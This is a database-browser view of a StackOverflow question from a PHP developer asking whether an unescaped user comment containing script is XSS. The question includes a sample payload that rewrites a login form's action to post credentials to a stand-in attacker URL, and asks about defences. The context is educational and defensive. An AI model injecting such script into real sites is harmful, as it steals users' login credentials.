StackOverflow2013

Note that there are some explanatory texts on larger screens.

plurals

POIs user input of HTML with Javascript that is displayed to others but not HTML-escaped an example of a XSS
primarykey
Id
8963279
data
AcceptedAnswerId
8963473
AnswerCount
4
ClosedDate
CommentCount
6
CommunityOwnedDate
CreationDate
2012-01-22T18:04:40.777
FavoriteCount
5
LastActivityDate
2016-02-24T13:31:06.920
LastEditDate
2016-02-24T13:31:06.920
LastEditorUserId
545127
OwnerUserId
840973
ParentId
0
PostTypeId
1
Score
12
ViewCount
1088
LastEditorDisplayName
text
Body
I'm a PHP developer and I'm looking to improve the security of my sites. From what I understand the following are two major types of vulnerabilities which affect web applications: <ul> <li>SQL Injection</li> <li>XSS</li> </ul> SQL Injection can be fixed with prepared statements - easy. But I still don't really get XSS - is the following an example of XSS?... <ul> <li>Page full of user-made content has a login form at the top (site-wide).</li> <li>The user's input to the page is not HTML-escaped.</li> <li>A user posts the following content (e.g. a comment) to the page...</li> </ul> <pre><code>A really nice comment  <script type="text/javascript"> $(document).ready(function() { $('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php'); }); </script> </code></pre> <ul> <li>An innocent user comes to the page, the script executes.</li> <li>The innocent user realises they're not logged in, and enter their details into the form.</li> <li>The user's details are sent off to <code>http://somehackysite.com/givemyourpw.php</code> and then the user's account details are stolen.</li> </ul> So I really have three questions here: <ol> <li>Would this work? </li> <li>Is this XSS?</li> <li>Are there any precautions developers should take against XSS other than escaping HTML?</li> </ol>
Tags
<php><javascript><html><xss>
Title
Is user input of HTML with Javascript that is displayed to others but not HTML-escaped an example of a XSS
singulars
PostAcceptedAnswerId
1. PO
 singulars
 PostTypePostTypeId
 PTAnswer
PostParentId
1. This table or related slice is empty.
PostTypePostTypeId
1. PTQuestion
UserLastEditorUserId
1. USRaedwald
UserOwnerUserId
1. USAlex Coplan
plurals
PostLinksPostIdRelatedPostId
1. PL
 singulars
 LinkTypeLinkTypeId
 LTLinked
PostLinksRelatedPostIdPostId
1. This table or related slice is empty.
PostsAcceptedAnswerId
1. This table or related slice is empty.
PostsParentIdCreationDate
1. PO
 singulars
 PostTypePostTypeId
 PTAnswer
2. PO
 singulars
 PostTypePostTypeId
 PTAnswer
3. PO
 singulars
 PostTypePostTypeId
 PTAnswer
VotesPostIdCreationDate
1. VO
 singulars
 PostPostId
 POIs user input of HTML with Javascript that is displayed to others but not HTML-escaped an example of a XSS
 UserUserId
 This table or related slice is empty.
 VoteTypeVoteTypeId
 VTUpMod
2. VO
 singulars
 PostPostId
 POIs user input of HTML with Javascript that is displayed to others but not HTML-escaped an example of a XSS
 UserUserId
 This table or related slice is empty.
 VoteTypeVoteTypeId
 VTUpMod
3. VO
 singulars
 PostPostId
 POIs user input of HTML with Javascript that is displayed to others but not HTML-escaped an example of a XSS
 UserUserId
 This table or related slice is empty.
 VoteTypeVoteTypeId
 VTUpMod
CommentsPostId

Querying!

Guidance

A row detail

Detail views are divided into sections. All the information in the data section comes from columns in the selected row. The other sections display data from other, related rows.

Related data can be related in a to-one or a to-many fashion. Captions of data related in a to-many fashion link to a list view showing a filtered view of the table.

Try moving around until you find a non-empty to-many entry and click on the label to get to one. You can move back to the root by clicking on the database name in the header.